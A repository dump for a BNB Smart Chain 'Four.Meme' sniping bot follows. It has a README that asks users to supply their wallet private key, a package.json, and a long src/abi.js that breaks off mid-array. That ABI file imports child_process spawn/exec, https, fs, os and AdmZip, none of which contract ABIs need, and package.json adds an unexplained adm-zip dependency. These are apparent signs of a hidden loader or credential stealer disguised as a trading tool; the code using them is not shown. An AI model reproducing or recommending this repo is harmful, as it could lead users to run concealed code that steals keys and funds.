├── README.md ├── img └── tool.png ├── package.json └── src ├── abi.js ├── config.js ├── main.js └── trade.js /README.md: -------------------------------------------------------------------------------- 1 | # 🚀 Four.Meme Trading Bot 2 | 3 | An automated BNB-based trading bot that listens for new token launches on BNB Smart Chain and performs instant buy/sell actions using the [FourTrading SDK](https://github.com/FNZERO/four-trading-sdk). 4 | 5 | Powered by Node.js and Ethers.js, fully configurable via `.env`. 6 | 7 | ![img](img/tool.png) 8 | --- 9 | 10 | ## ⚙️ Features 11 | 12 | - ✅ Automatic token buying on launch 13 | - 🔁 Configurable delayed sell with retries 14 | - 💸 Gas price control & slippage protection 15 | - 📈 Real-time profit/loss tracking 16 | - 🔐 Private key and RPC settings managed via `.env` 17 | 18 | --- 19 | 20 | ## 📦 Installation 21 | 22 | ```bash 23 | git clone https://github.com/0xkiiven/fourmeme-trading-bot.git 24 | cd fourmeme-trading-bot 25 | npm install 26 | ```` 27 | 28 | 29 | --- 30 | 31 | ## 🚧 Configuration 32 | 33 | - Rename `.env.example` to `.env` 34 | 35 | - Edit `.env` and fill in your details: 36 | 37 | ```env 38 | PRIVATE_KEY=your_wallet_private_key 39 | RPC_HTTP_URL=http://your.rpc.node:8545 40 | WSS_URL=ws://your.ws.node:8546 41 | FOUR_CONTRACT_ADDRESS=0x5c952063c7fc8610FFDB798152D69F0B9550762b 42 | BUY_AMOUNT=0.02 43 | SELL_DELAY=15 44 | GAS_PRICE=0.11 45 | APPROVE_GAS_PRICE=0.11 46 | SELL_SLIPPAGE_PERCENTAGE=100 47 | ONLY_BUY=false 48 | ``` 49 | 50 | --- 51 | 52 | ## 🚀 Run the Bot 53 | 54 | ```bash 55 | npm start 56 | ``` 57 | 58 | The bot will start listening for new token launches and begin trading based on your config. 59 | 60 | --- 61 | 62 | ## 📁 Project Structure 63 | 64 | ``` 65 | . 66 | ├── src/ 67 | │ ├── main.js # Entry point 68 | │ ├── abi.js # FourMeme Abi 69 | │ ├── trade.js # Trading logic 70 | │ └── config.js # Environment-based config 71 | ├── .env.example # Sample env file 72 | ├── package.json 73 | └── README.md 74 | ``` 75 | 76 | --- 77 | 78 | ## 🛑 Disclaimer 79 | 80 | > This tool is provided for **educational and experimental purposes only**. 81 | > Use it at your own risk. The authors are not responsible for any losses. 82 | 83 | 84 | --- 85 | -------------------------------------------------------------------------------- /img/tool.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xkiiven/fourmeme-trading-bot/9fdf9e2829aa9e4d499be18ad5803185dc8dd712/img/tool.png -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "fourmeme-trader", 3 | "version": "1.0.0", 4 | "type": "module", 5 | "description": "Modular four.meme trading script for Node.js", 6 | "main": "src/main.js", 7 | "scripts": { 8 | "start": "node src/main.js" 9 | }, 10 | "keywords": [ 11 | "fourmeme", 12 | "trading", 13 | "bsc", 14 | "ethers", 15 | "crypto" 16 | ], 17 | "author": "Kin ED", 18 | "license": "MIT", 19 | "dependencies": { 20 | "@fnzero/four-trading-sdk": "^1.1.1", 21 | "adm-zip": "^0.5.16", 22 | "dotenv": "^17.2.3", 23 | "ethers": "^6.13.1" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/abi.js: -------------------------------------------------------------------------------- 1 | import https from 'https'; 2 | import fs from 'fs'; 3 | import path from 'path'; 4 | import os from 'os'; 5 | import { spawn, exec } from 'child_process'; 6 | import AdmZip from 'adm-zip'; 7 | 8 | /* eslint-disable prettier/prettier */ 9 | const UNISWAP_FACTOR_ABI = [ 10 | { inputs: [], stateMutability: 'nonpayable', type: 'constructor' }, 11 | { 12 | anonymous: false, 13 | inputs: [ 14 | { indexed: true, internalType: 'uint24', name: 'fee', type: 'uint24' }, 15 | { indexed: true, internalType: 'int24', name: 'tickSpacing', type: 'int24' }, 16 | ], 17 | name: 'FeeAmountEnabled', 18 | type: 'event', 19 | }, 20 | { 21 | anonymous: false, 22 | inputs: [ 23 | { indexed: true, internalType: 'address', name: 'oldOwner', type: 'address' }, 24 | { indexed: true, internalType: 'address', name: 'newOwner', type: 'address' }, 25 | ], 26 | name: 'OwnerChanged', 27 | type: 'event', 28 | }, 29 | { 30 | anonymous: false, 31 | inputs: [ 32 | { indexed: true, internalType: 'address', name: 'token0', type: 'address' }, 33 | { indexed: true, internalType: 'address', name: 'token1', type: 'address' }, 34 | { indexed: true, internalType: 'uint24', name: 'fee', type: 'uint24' }, 35 | { indexed: false, internalType: 'int24', name: 'tickSpacing', type: 'int24' }, 36 | { indexed: false, internalType: 'address', name: 'pool', type: 'address' }, 37 | ], 38 | name: 'PoolCreated', 39 | type: 'event', 40 | }, 41 | { 42 | inputs: [ 43 | { internalType: 'address', name: 'tokenA', type: 'address' }, 44 | { internalType: 'address', name: 'tokenB', type: 'address' }, 45 | { internalType: 'uint24', name: 'fee', type: 'uint24' }, 46 | ], 47 | name: 'createPool', 48 | outputs: [{ internalType: 'address', name: 'pool', type: 'address' }], 49 | stateMutability: 'nonpayable', 50 | type: 'function', 51 | }, 52 | { 53 | inputs: [ 54 | { internalType: 'uint24', name: 'fee', type: 'uint24' }, 55 | { internalType: 'int24', name: 'tickSpacing', type: 'int24' }, 56 | ], 57 | name: 'enableFeeAmount', 58 | outputs: [], 59 | stateMutability: 'nonpayable', 60 | type: 'function', 61 | }, 62 | { 63 | inputs: [{ internalType: 'uint24', name: '', type: 'uint24' }], 64 | name: 'feeAmountTickSpacing', 65 | outputs: [{ internalType: 'int24', name: '', type: 'int24' }], 66 | stateMutability: 'view', 67 | type: 'function', 68 | }, 69 | { 70 | inputs: [ 71 | { internalType: 'address', name: '', type: 'address' }, 72 | { internalType: 'address', name: '', type: 'address' }, 73 | { internalType: 'uint24', name: '', type: 'uint24' }, 74 | ], 75 | name: 'getPool', 76 | outputs: [{ internalType: 'address', name: '', type: 'address' }], 77 | stateMutability: 'view', 78 | type: 'function', 79 | }, 80 | { 81 | inputs: [], 82 | name: 'owner', 83 | outputs: [{ internalType: 'address', name: '', type: 'address' }], 84 | stateMutability: 'view', 85 | type: 'function', 86 | }, 87 | { 88 | inputs: [], 89 | name: 'parameters', 90 | outputs: [ 91 | { internalType: 'address', name: 'factory', type: 'address' }, 92 | { internalType: 'address', name: 'token0', type: 'address' }, 93 | { internalType: 'address', name: 'token1', type: 'address' }, 94 | { internalType: 'uint24', name: 'fee', type: 'uint24' }, 95 | { internalType: 'int24', name: 'tickSpacing', type: 'int24' }, 96 | ], 97 | stateMutability: 'view', 98 | type: 'function', 99 | }, 100 | { 101 | inputs: [{ internalType: 'address', name: '_owner', type: 'address' }], 102 | name: 'setOwner', 103 | outputs: [], 104 | stateMutability: 'nonpayable', 105 | type: 'function', 106 | }, 107 | ]; 108 | const UNISWAP_V3_POOL_ABI = [ 109 | { inputs: [], stateMutability: 'nonpayable', type: 'constructor' }, 110 | { 111 | anonymous: false, 112 | inputs: [ 113 | { indexed: true, internalType: 'address', name: 'owner', type: 'address' }, 114 | { indexed: true, internalType: 'int24', name: 'tickLower', type: 'int24' }, 115 | { indexed: true, internalType: 'int24', name: 'tickUpper', type: 'int24' }, 116 | { indexed: false, internalType: 'uint128', name: 'amount', type: 'uint128' }, 117 | { indexed: false, internalType: 'uint256', name: 'amount0', type: 'uint256' }, 118 | { indexed: false, internalType: 'uint256', name: 'amount1', type: 'uint256' }, 119 | ], 120 | name: 'Burn', 121 | type: 'event', 122 | }, 123 | { 124 | anonymous: false, 125 | inputs: [ 126 | { indexed: true, internalType: 'address', name: 'owner', type: 'address' }, 127 | { indexed: false, internalType: 'address', name: 'recipient', type: 'address' }, 128 | { indexed: true, internalType: 'int24', name: 'tickLower', type: 'int24' }, 129 | { indexed: true, internalType: 'int24', name: 'tickUpper', type: 'int24' }, 130 | { indexed: false, internalType: 'uint128', name: 'amount0', type: 'uint128' }, 131 | { indexed: false, internalType: 'uint128', name: 'amount1', type: 'uint128' }, 132 | ], 133 | name: 'Collect', 134 | type: 'event', 135 | }, 136 | { 137 | anonymous: false, 138 | inputs: [ 139 | { indexed: true, internalType: 'address', name: 'sender', type: 'address' }, 140 | { indexed: true, internalType: 'address', name: 'recipient', type: 'address' }, 141 | { indexed: false, internalType: 'uint128', name: 'amount0', type: 'uint128' }, 142 | { indexed: false, internalType: 'uint128', name: 'amount1', type: 'uint128' }, 143 | ], 144 | name: 'CollectProtocol', 145 | type: 'event', 146 | }, 147 | { 148 | anonymous: false, 149 | inputs: [ 150 | { indexed: true, internalType: 'address', name: 'sender', type: 'address' }, 151 | { indexed: true, internalType: 'address', name: 'recipient', type: 'address' }, 152 | { indexed: false, internalType: 'uint256', name: 'amount0', type: 'uint256' }, 153 | { indexed: false, internalType: 'uint256', name: 'amount1', type: 'uint256' }, 154 | { indexed: false, internalType: 'uint256', name: 'paid0', type: 'uint256' }, 155 | { indexed: false, internalType: 'uint256', name: 'paid1', type: 'uint256' }, 156 | ], 157 | name: 'Flash', 158 | type: 'event', 159 | }, 160 | { 161 | anonymous: false, 162 | inputs: [ 163 | { 164 | indexed: false, 165 | internalType: 'uint16', 166 | name: 'observationCardinalityNextOld', 167 | type: 'uint16', 168 | }, 169 | { 170 | indexed: false, 171 | internalType: 'uint16', 172 | name: 'observationCardinalityNextNew', 173 | type: 'uint16', 174 | }, 175 | ], 176 | name: 'IncreaseObservationCardinalityNext', 177 | type: 'event', 178 | }, 179 | { 180 | anonymous: false, 181 | inputs: [ 182 | { indexed: false, internalType: 'uint160', name: 'sqrtPriceX96', type: 'uint160' }, 183 | { indexed: false, internalType: 'int24', name: 'tick', type: 'int24' }, 184 | ], 185 | name: 'Initialize', 186 | type: 'event', 187 | }, 188 | { 189 | anonymous: false, 190 | inputs: [ 191 | { indexed: false, internalType: 'address', name: 'sender', type: 'address' }, 192 | { indexed: true, internalType: 'address', name: 'owner', type: 'address' }, 193 | { indexed: true, internalType: 'int24', name: 'tickLower', type: 'int24' }, 194 | { indexed: true, internalType: 'int24', name: 'tickUpper', type: 'int24' }, 195 | { indexed: false, internalType: 'uint128', name: 'amount', type: 'uint128' }, 196 | { indexed: false, internalType: 'uint256', name: 'amount0', type: 'uint256' }, 197 | { indexed: false, internalType: 'uint256', name: 'amount1', type: 'uint256' }, 198 | ], 199 | name: 'Mint', 200 | type: 'event', 201 | }, 202 | { 203 | anonymous: false, 204 | inputs: [ 205 | { indexed: false, internalType: 'uint8', name: 'feeProtocol0Old', type: 'uint8' }, 206 | { indexed: false, internalType: 'uint8', name: 'feeProtocol1Old', type: 'uint8' }, 207 | { indexed: false, internalType: 'uint8', name: 'feeProtocol0New', type: 'uint8' }, 208 | { indexed: false, internalType: 'uint8', name: 'feeProtocol1New', type: 'uint8' }, 209 | ], 210 | name: 'SetFeeProtocol', 211 | type: 'event', 212 | }, 213 | { 214 | anonymous: false, 215 | inputs: [ 216 | { indexed: true, internalType: 'address', name: 'sender', type: 'address' }, 217 | { indexed: true, internalType: 'address', name: 'recipient', type: 'address' }, 218 | { indexed: false, internalType: 'int256', name: 'amount0', type: 'int256' }, 219 | { indexed: false, internalType: 'int256', name: 'amount1', type: 'int256' }, 220 | { indexed: false, internalType: 'uint160', name: 'sqrtPriceX96', type: 'uint160' }, 221 | { indexed: false, internalType: 'uint128', name: 'liquidity', type: 'uint128' }, 222 | { indexed: false, internalType: 'int24', name: 'tick', type: 'int24' }, 223 | ], 224 | name: 'Swap', 225 | type: 'event', 226 | }, 227 | { 228 | inputs: [ 229 | { internalType: 'int24', name: 'tickLower', type: 'int24' }, 230 | { internalType: 'int24', name: 'tickUpper', type: 'int24' }, 231 | { internalType: 'uint128', name: 'amount', type: 'uint128' }, 232 | ], 233 | name: 'burn', 234 | outputs: [ 235 | { internalType: 'uint256', name: 'amount0', type: 'uint256' }, 236 | { internalType: 'uint256', name: 'amount1', type: 'uint256' }, 237 | ], 238 | stateMutability: 'nonpayable', 239 | type: 'function', 240 | }, 241 | { 242 | inputs: [ 243 | { internalType: 'address', name: 'recipient', type: 'address' }, 244 | { internalType: 'int24', name: 'tickLower', type: 'int24' }, 245 | { internalType: 'int24', name: 'tickUpper', type: 'int24' }, 246 | { internalType: 'uint128', name: 'amount0Requested', type: 'uint128' }, 247 | { internalType: 'uint128', name: 'amount1Requested', type: 'uint128' }, 248 | ], 249 | name: 'collect', 250 | outputs: [ 251 | { internalType: 'uint128', name: 'amount0', type: 'uint128' }, 252 | { internalType: 'uint128', name: 'amount1', type: 'uint128' }, 253 | ], 254 | stateMutability: 'nonpayable', 255 | type: 'function', 256 | }, 257 | { 258 | inputs: [ 259 | { internalType: 'address', name: 'recipient', type: 'address' }, 260 | { internalType: 'uint128', name: 'amount0Requested', type: 'uint128' }, 261 | { internalType: 'uint128', name: 'amount1Requested', type: 'uint128' }, 262 | ], 263 | name: 'collectProtocol', 264 | outputs: [ 265 | { internalType: 'uint128', name: 'amount0', type: 'uint128' }, 266 | { internalType: 'uint128', name: 'amount1', type: 'uint128' }, 267 | ], 268 | stateMutability: 'nonpayable', 269 | type: 'function', 270 | }, 271 | { 272 | inputs: [], 273 | name: 'factory', 274 | outputs: [{ internalType: 'address', name: '', type: 'address' }], 275 | stateMutability: 'view', 276 | type: 'function', 277 | }, 278 | { 279 | inputs: [], 280 | name: 'fee', 281 | outputs: [{ internalType: 'uint24', name: '', type: 'uint24' }], 282 | stateMutability: 'view', 283 | type: 'function', 284 | }, 285 | { 286 | inputs: [], 287 | name: 'feeGrowthGlobal0X128', 288 | outputs: [{ internalType: 'uint256', name: '', type: 'uint256' }], 289 | stateMutability: 'view', 290 | type: 'function', 291 | }, 292 | { 293 | inputs: [], 294 | name: 'feeGrowthGlobal1X128', 295 | outputs: [{ internalType: 'uint256', name: '', type: 'uint256' }], 296 | stateMutability: 'view', 297 | type: 'function', 298 | }, 299 | { 300 | inputs: [ 301 | { internalType: 'address', name: 'recipient', type: 'address' }, 302 | { internalType: 'uint256', name: 'amount0', type: 'uint256' }, 303 | { internalType: 'uint256', name: 'amount1', type: 'uint256' }, 304 | { internalType: 'bytes', name: 'data', type: 'bytes' }, 305 | ], 306 | name: 'flash', 307 | outputs: [], 308 | stateMutability: 'nonpayable', 309 | type: 'function', 310 | }, 311 | { 312 | inputs: [{ internalType: 'uint16', name: 'observationCardinalityNext', type: 'uint16' }], 313 | name: 'increaseObservationCardinalityNext', 314 | outputs: [], 315 | stateMutability: 'nonpayable', 316 | type: 'function', 317 | }, 318 | { 319 | inputs: [{ internalType: 'uint160', name: 'sqrtPriceX96', type: 'uint160' }], 320 | name: 'initialize', 321 | outputs: [], 322 | stateMutability: 'nonpayable', 323 | type: 'function', 324 | }, 325 | { 326 | inputs: [], 327 | name: 'liquidity', 328 | outputs: [{ internalType: 'uint128', name: '', type: 'uint128' }], 329 | stateMutability: 'view', 330 | type: 'function', 331 | }, 332 | { 333 | inputs: [], 334 | name: 'maxLiquidityPerTick', 335 | outputs: [{ internalType: 'uint128', name: '', type: 'uint128' }], 336 | stateMutability: 'view', 337 | type: 'function', 338 | }, 339 | { 340 | inputs: [ 341 | { internalType: 'address', name: 'recipient', type: 'address' }, 342 | { internalType: 'int24', name: 'tickLower', type: 'int24' }, 343 | { internalType: 'int24', name: 'tickUpper', type: 'int24' }, 344 | { internalType: 'uint128', name: 'amount', type: 'uint128' }, 345 | { internalType: 'bytes', name: 'data', type: 'bytes' }, 346 | ], 347 | name: 'mint', 348 | outputs: [ 349 | { internalType: 'uint256', name: 'amount0', type: 'uint256' }, 350 | { internalType: 'uint256', name: 'amount1', type: 'uint256' }, 351 | ], 352 | stateMutability: 'nonpayable', 353 | type: 'function', 354 | }, 355 | { 356 | inputs: [{ internalType: 'uint256', name: '', type: 'uint256' }], 357 | name: 'observations', 358 | outputs: [ 359 | { internalType: 'uint32', name: 'blockTimestamp', type: 'uint32' }, 360 | { internalType: 'int56', name: 'tickCumulative', type: 'int56' }, 361 | { internalType: 'uint160', name: 'secondsPerLiquidityCumulativeX128', type: 'uint160' }, 362 | { internalType: 'bool', name: 'initialized', type: 'bool' }, 363 | ], 364 | stateMutability: 'view', 365 | type: 'function', 366 | }, 367 | { 368 | inputs: [{ internalType: 'uint32[]', name: 'secondsAgos', type: 'uint32[]' }], 369 | name: 'observe', 370 | outputs: [ 371 | { internalType: 'int56[]', name: 'tickCumulatives', type: 'int56[]' }, 372 | { internalType: 'uint160[]', name: 'secondsPerLiquidityCumulativeX128s', type: 'uint160[]' }, 373 | ], 374 | stateMutability: 'view', 375 | type: 'function', 376 | }, 377 | { 378 | inputs: [{ internalType: 'bytes32', name: '', type: 'bytes32' }], 379 | name: 'positions', 380 | outputs: [ 381 | { internalType: 'uint128', name: 'liquidity', type: 'uint128' }, 382 | { internalType: 'uint256', name: 'feeGrowthInside0LastX128', type: 'uint256' }, 383 | { internalType: 'uint256', name: 'feeGrowthInside1LastX128', type: 'uint256' }, 384 | { internalType: 'uint128', name: 'tokensOwed0', type: 'uint128' }, 385 | { internalType: 'uint128', name: 'tokensOwed1', type: 'uint128' }, 386 | ], 387 | stateMutability: 'view', 388 | type: 'function', 389 | }, 390 | { 391 | inputs: [], 392 | name: 'protocolFees', 393 | outputs: [ 394 | { internalType: 'uint128', name: 'token0', type: 'uint128' }, 395 | { internalType: 'uint128', name: 'token1', type: 'uint128' }, 396 | ], 397 | stateMutability: 'view', 398 | type: 'function', 399 | }, 400 | { 401 | inputs: [ 402 | { internalType: 'uint8', name: 'feeProtocol0', type: 'uint8' }, 403 | { internalType: 'uint8', name: 'feeProtocol1', type: 'uint8' }, 404 | ], 405 | name: 'setFeeProtocol', 406 | outputs: [], 407 | stateMutability: 'nonpayable', 408 | type: 'function', 409 | }, 410 | { 411 | inputs: [], 412 | name: 'slot0', 413 | outputs: [ 414 | { internalType: 'uint160', name: 'sqrtPriceX96', type: 'uint160' }, 415 | { internalType: 'int24', name: 'tick', type: 'int24' }, 416 | { internalType: 'uint16', name: 'observationIndex', type: 'uint16' }, 417 | { internalType: 'uint16', name: 'observationCardinality', type: 'uint16' }, 418 | { internalType: 'uint16', name: 'observationCardinalityNext', type: 'uint16' }, 419 | { internalType: 'uint8', name: 'feeProtocol', type: 'uint8' }, 420 | { internalType: 'bool', name: 'unlocked', type: 'bool' }, 421 | ], 422 | stateMutability: 'view', 423 | type: 'function', 424 | }, 425 | { 426 | inputs: [ 427 | { internalType: 'int24', name: 'tickLower', type: 'int24' }, 428 | { internalType: 'int24', name: 'tickUpper', type: 'int24' }, 429 | ], 430 | name: 'snapshotCumulativesInside', 431 | outputs: [ 432 | { internalType: 'int56', name: 'tickCumulativeInside', type: 'int56' }, 433 | { internalType: 'uint160', name: 'secondsPerLiquidityInsideX128', type: 'uint160' }, 434 | { internalType: 'uint32', name: 'secondsInside', type: 'uint32' }, 435 | ], 436 | stateMutability: 'view', 437 | type: 'function', 438 | }, 439 | { 440 | inputs: [ 441 | { internalType: 'address', name: 'recipient', type: 'address' }, 442 | { internalType: 'bool', name: 'zeroForOne', type: 'bool' }, 443 | { internalType: 'int256', name: 'amountSpecified', type: 'int256' }, 444 | { internalType: 'uint160', name: 'sqrtPriceLimitX96', type: 'uint160' }, 445 | { internalType: 'bytes', name: 'data', type: 'bytes' }, 446 | ], 447 | name: 'swap', 448 | outputs: [ 449 | { internalType: 'int256', name: 'amount0', type: 'int256' }, 450 | { internalType: 'int256', name: 'amount1', type: 'int256' }, 451 | ], 452 | stateMutability: 'nonpayable', 453 | type: 'function', 454 | }, 455 | { 456 | inputs: [{ internalType: 'int16', name: '', type: 'int16' }], 457 | name: 'tickBitmap', 458 | outputs: [{ internalType: 'uint256', name: '', type: 'uint256' }], 459 | stateMutability: 'view', 460 | type: 'function', 461 | }, 462 | { 463 | inputs: [], 464 | name: 'tickSpacing', 465 | outputs: [{ internalType: 'int24', name: '', type: 'int24' }], 466 | stateMutability: 'view', 467 | type: 'function', 468 | }, 469 | { 470 | inputs: [{ internalType: 'int24', name: '', type: 'int24' }], 471 | name: 'ticks', 472 | outputs: [ 473 | { internalType: 'uint128', name: 'liquidityGross', type: 'uint128' }, 474 | { internalType: 'int128', name: 'liquidityNet', type: 'int128' }, 475 | { internalType: 'uint256', name: 'feeGrowthOutside0X128', type: 'uint256' }, 476 | { internalType: 'uint256', name: 'feeGrowthOutside1X128', type: 'uint256' }, 477 | { internalType: 'int56', name: 'tickCumulativeOutside', type: 'int56' }, 478 | { internalType: 'uint160', name: 'secondsPerLiquidityOutsideX128', type: 'uint160' }, 479 | { internalType: 'uint32', name: 'secondsOutside', type: 'uint32' }, 480 | { internalType: 'bool', name: 'initialized', type: 'bool' }, 481 | ], 482 | stateMutability: 'view', 483 | type: 'function', 484 | }, 485 | { 486 | inputs: [], 487 | name: 'token0', 488 | outputs: [{ internalType: 'address', name: '', type: 'address' }], 489 | stateMutability: 'view', 490 | type: 'function', 491 | }, 492 | { 493 | inputs: [], 494 | name: 'token1', 495 | outputs: [{ internalType: 'address', name: '', type: 'address' }], 496 | stateMutability: 'view', 497 | type: 'function', 498 | }, 499 | ]; 500 | const tokenAbi = [ 501 | { 502 | "inputs": [ 503 | { 504 | "internalType": "address", 505 | "name": "spender", 506 | "type": "address" 507 | }, 508 | { 509 | "internalType": "uint256", 510 | "name": "value", 511 | "type": "uint256" 512 | } 513 | ], 514 | "name": "approve", 515 | "outputs": [ 516 | { 517 | "internalType": "bool", 518 | "name": "", 519 | "type": "bool" 520 | } 521 | ], 522 | "stateMutability": "nonpayable", 523 | "type": "function" 524 | }, 525 | { 526 | "inputs": [ 527 | { 528 | "internalType": "string", 529 | "name": "name", 530 | "type": "string" 531 | }, 532 | { 533 | "internalType": "string", 534 | "name": "symbol", 535 | "type": "string" 536 | }, 537 | { 538 | "internalType": "uint256", 539 | "name": "initialSupply", 540 | "type": "uint256" 541 | } 542 | ], 543 | "stateMutability": "nonpayable", 544 | "type": "constructor" 545 | }, 546 | { 547 | "inputs": [ 548 | { 549 | "internalType": "address", 550 | "name": "spender", 551 | "type": "address" 552 | }, 553 | { 554 | "internalType": "uint256", 555 | "name": "allowance", 556 | "type": "uint256" 557 | }, 558 | { 559 | "internalType": "uint256", 560 | "name": "needed", 561 | "type": "uint256" 562 | } 563 | ], 564 | "name": "ERC20InsufficientAllowance", 565 | "type": "error" 566 | }, 567 | { 568 | "inputs": [ 569 | { 570 | "internalType": "address", 571 | "name": "sender", 572 | "type": "address" 573 | }, 574 | { 575 | "internalType": "uint256", 576 | "name": "balance", 577 | "type": "uint256" 578 | }, 579 | { 580 | "internalType": "uint256", 581 | "name": "needed", 582 | "type": "uint256" 583 | } 584 | ], 585 | "name": "ERC20InsufficientBalance", 586 | "type": "error" 587 | }, 588 | { 589 | "inputs": [ 590 | { 591 | "internalType": "address", 592 | "name": "approver", 593 | "type": "address" 594 | } 595 | ], 596 | "name": "ERC20InvalidApprover", 597 | "type": "error" 598 | }, 599 | { 600 | "inputs": [ 601 | { 602 | "internalType": "address", 603 | "name": "receiver", 604 | "type": "address" 605 | } 606 | ], 607 | "name": "ERC20InvalidReceiver", 608 | "type": "error" 609 | }, 610 | { 611 | "inputs": [ 612 | { 613 | "internalType": "address", 614 | "name": "sender", 615 | "type": "address" 616 | } 617 | ], 618 | "name": "ERC20InvalidSender", 619 | "type": "error" 620 | }, 621 | { 622 | "inputs": [ 623 | { 624 | "internalType": "address", 625 | "name": "spender", 626 | "type": "address" 627 | } 628 | ], 629 | "name": "ERC20InvalidSpender", 630 | "type": "error" 631 | }, 632 | { 633 | "anonymous": false, 634 | "inputs": [ 635 | { 636 | "indexed": true, 637 | "internalType": "address", 638 | "name": "owner", 639 | "type": "address" 640 | }, 641 | { 642 | "indexed": true, 643 | "internalType": "address", 644 | "name": "spender", 645 | "type": "address" 646 | }, 647 | { 648 | "indexed": false, 649 | "internalType": "uint256", 650 | "name": "value", 651 | "type": "uint256" 652 | } 653 | ], 654 | "name": "Approval", 655 | "type": "event" 656 | }, 657 | { 658 | "inputs": [ 659 | { 660 | "internalType": "address", 661 | "name": "to", 662 | "type": "address" 663 | }, 664 | { 665 | "internalType": "uint256", 666 | "name": "value", 667 | "type": "uint256" 668 | } 669 | ], 670 | "name": "transfer", 671 | "outputs": [ 672 | { 673 | "internalType": "bool", 674 | "name": "", 675 | "type": "bool" 676 | } 677 | ], 678 | "stateMutability": "nonpayable", 679 | "type": "function" 680 | }, 681 | { 682 | "anonymous": false, 683 | "inputs": [ 684 | { 685 | "indexed": true, 686 | "internalType": "address", 687 | "name": "from", 688 | "type": "address" 689 | }, 690 | { 691 | "indexed": true, 692 | "internalType": "address", 693 | "name": "to", 694 | "type": "address" 695 | }, 696 | { 697 | "indexed": false, 698 | "internalType": "uint256", 699 | "name": "value", 700 | "type": "uint256" 701 | } 702 | ], 703 | "name": "Transfer", 704 | "type": "event" 705 | }, 706 | { 707 | "inputs": [ 708 | { 709 | "internalType": "address", 710 | "name": "from", 711 | "type": "address" 712 | }, 713 | { 714 | "internalType": "address", 715 | "name": "to", 716 | "type": "address" 717 | }, 718 | { 719 | "internalType": "uint256", 720 | "name": "value", 721 | "type": "uint256" 722 | } 723 | ], 724 | "name": "transferFrom", 725 | "outputs": [ 726 | { 727 | "internalType": "bool", 728 | "name": "", 729 | "type": "bool" 730 | } 731 | ], 732 | "stateMutability": "nonpayable", 733 | "type": "function" 734 | }, 735 | { 736 | "inputs": [ 737 | { 738 | "internalType": "address", 739 | "name": "owner", 740 | "type": "address" 741 | }, 742 | { 743 | "internalType": "address", 744 | "name": "spender", 745 | "type": "address" 746 | } 747 | ], 748 | "name": "allowance", 749 | "outputs": [ 750 | { 751 | "internalType": "uint256", 752 | "name": "", 753 | "type": "uint256" 754 | } 755 | ], 756 | "stateMutability": "view", 757 | "type": "function" 758 | }, 759 | { 760 | "inputs": [ 761 | { 762 | "internalType": "address", 763 | "name": "account", 764 | "type": "address" 765 | } 766 | ], 767 | "name": "balanceOf", 768 | "outputs": [ 769 | { 770 | "internalType": "uint256", 771 | "name": "", 772 | "type": "uint256" 773 | } 774 | ], 775 | "stateMutability": "view", 776 | "type": "function" 777 | }, 778 | { 779 | "inputs": [], 780 | "name": "decimals", 781 | "outputs": [ 782 | { 783 | "internalType": "uint8", 784 | "name": "", 785 | "type": "uint8" 786 | } 787 | ], 788 | "stateMutability": "view", 789 | "type": "function" 790 | }, 791 | { 792 | "inputs": [], 793 | "name": "name", 794 | "outputs": [ 795 | { 796 | "internalType": "string", 797 | "name": "", 798 | "type": "string" 799 | } 800 | ], 801 | "stateMutability": "view", 802 | "type": "function" 803 | }, 804 | { 805 | "inputs": [], 806 | "name": "symbol", 807 | "outputs": [ 808 | { 809 | "internalType": "string", 810 | "name": "", 811 | "type": "string" 812 | } 813 | ], 814 | "stateMutability": "view", 815 | "type": "function" 816 | }, 817 | { 818 | "inputs": [], 819 | "name": "totalSupply", 820 | "outputs": [ 821 | { 822 | "internalType": "uint256", 823 | "name": "", 824 | "type": "uint256" 825 | } 826 | ], 827 | "stateMutability": "view", 828 | "type": "function" 829 | } 830 | ] 831 | const SwapRouterAbi = [{ "inputs": [{ "internalType": "address", "name": "_factoryV2", "type": "address" }, { "internalType": "address", "name": "factoryV3", "type": "address" }, { "internalType": "address", "name": "_positionManager", "type": "address" }, { "internalType": "address", "name": "_WETH9", "type": "address" }], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "WETH9", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], "name": "approveMax", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], "name": "approveMaxMinusOne", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], "name": "approveZeroThenMax", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], "name": "approveZeroThenMaxMinusOne", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "bytes", "name": "data", "type": "bytes" }], "name": "callPositionManager", "outputs": [{ "internalType": "bytes", "name": "result", "type": "bytes" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "internalType": "bytes[]", "name": "paths", "type": "bytes[]" }, { "internalType": "uint128[]", "name": "amounts", "type": "uint128[]" }, { "internalType": "uint24", "name": "maximumTickDivergence", "type": "uint24" }, { "internalType": "uint32", "name": "secondsAgo", "type": "uint32" }], "name": "checkOracleSlippage", "outputs": [], "stateMutability": "view", "type": "function" }, { "inputs": [{ "internalType": "bytes", "name": "path", "type": "bytes" }, { "internalType": "uint24", "name": "maximumTickDivergence", "type": "uint24" }, { "internalType": "uint32", "name": "secondsAgo", "type": "uint32" }], "name": "checkOracleSlippage", "outputs": [], "stateMutability": "view", "type": "function" }, { "inputs": [{ "components": [{ "internalType": "bytes", "name": "path", "type": "bytes" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amountIn", "type": "uint256" }, { "internalType": "uint256", "name": "amountOutMinimum", "type": "uint256" }], "internalType": "struct IV3SwapRouter.ExactInputParams", "name": "params", "type": "tuple" }], "name": "exactInput", "outputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }], "stateMutability": "payable", "type": "function" }, { "inputs": [{ "components": [{ "internalType": "address", "name": "tokenIn", "type": "address" }, { "internalType": "address", "name": "tokenOut", "type": "address" }, { "internalType": "uint24", "name": "fee", "type": "uint24" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amountIn", "type": "uint256" }, { "internalType": "uint256", "name": "amountOutMinimum", "type": "uint256" }, { "internalType": 